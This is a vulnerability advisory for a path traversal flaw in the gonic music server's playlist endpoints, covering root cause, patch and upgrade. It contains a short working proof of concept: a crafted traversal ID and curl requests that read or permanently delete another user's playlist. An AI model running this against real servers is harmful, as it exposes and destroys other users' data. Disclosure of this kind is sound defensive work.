CVE-2026-49339: gonic Playlist ID Path Traversal Bypasses Ownership Check
Any logged-in user of the gonic music server can read or delete another user's private playlists by crafting a playlist ID that smuggles directory traversal sequences past the ownership check.
The problem
gonic stores playlists as M3U files under a per-user directory (`<basePath>/<userID>/<name>.m3u`). The `getPlaylist` and `deletePlaylist` endpoints decode the `id` parameter from base64 and pass the raw string directly to `playlist.Store.Read` and `Store.Delete`.
The ownership check extracts a user ID from only the first path segment of the decoded string, using `userIDFromPath`. Because `filepath.Join` then resolves `..` segments without any containment guard, an attacker can prefix their own user ID, append traversal sequences, and escape `basePath` entirely.
The check sees the attacker's own ID and passes, while the filesystem resolves to the victim's file.
Proof of concept
# Attacker is user ID 2, target playlist belongs to user ID 1.
# Raw relative path: "2/../1/shared.m3u"
# base64-URL-encode it, then prefix with "pl-"
RAW='2/../1/shared.m3u'
ID="pl-$(printf '%s' "$RAW" | base64 -w0 | tr '+/' '-_')"
curl -s "http://gonic-host/rest/getPlaylist.view?u=attacker&p=pass&c=poc&v=1.16.1&f=json&id=$ID" \
| python3 -m json.tool
# Response leaks victim playlist name, comment, IsPublic flag, and song list.
# Same technique against deletePlaylist permanently removes the target file:
curl -s "http://gonic-host/rest/deletePlaylist.view?u=attacker&p=pass&c=poc&v=1.16.1&f=json&id=$ID"The root cause is in `playlist/playlist.go`: `Store.Read` and `Store.Delete` both call `filepath.Join(s.basePath, relPath)` with no check that the result stays under `s.basePath`. The ownership guard in `userIDFromPath` reads only `strings.Split(path, "/")[0]`, so a path like `2/../1/shared.m3u` satisfies `playlist.UserID == attacker.ID` while `filepath.Join` silently resolves the `..` and opens the victim's file.
The patch (commit `0824bed`) adds a `contained()` helper that calls `filepath.Rel(s.basePath, absPath)` and rejects any result that starts with `..`. This makes path containment a structural precondition for all three store methods (Read, Write, Delete) rather than trusting the first path segment for authorization.
The fix
Upgrade to gonic 0.21.0 (commit `0824bed88f6bbc490ba28bf09d28e5dfeb07b445`). The fix adds a `contained()` guard in `playlist/playlist.go` that rejects any decoded path whose resolved absolute form escapes `s.basePath`. No configuration change is needed; the fix is applied automatically on upgrade.
Reported by Vishal Shukla (@shukla304 / @therawdev).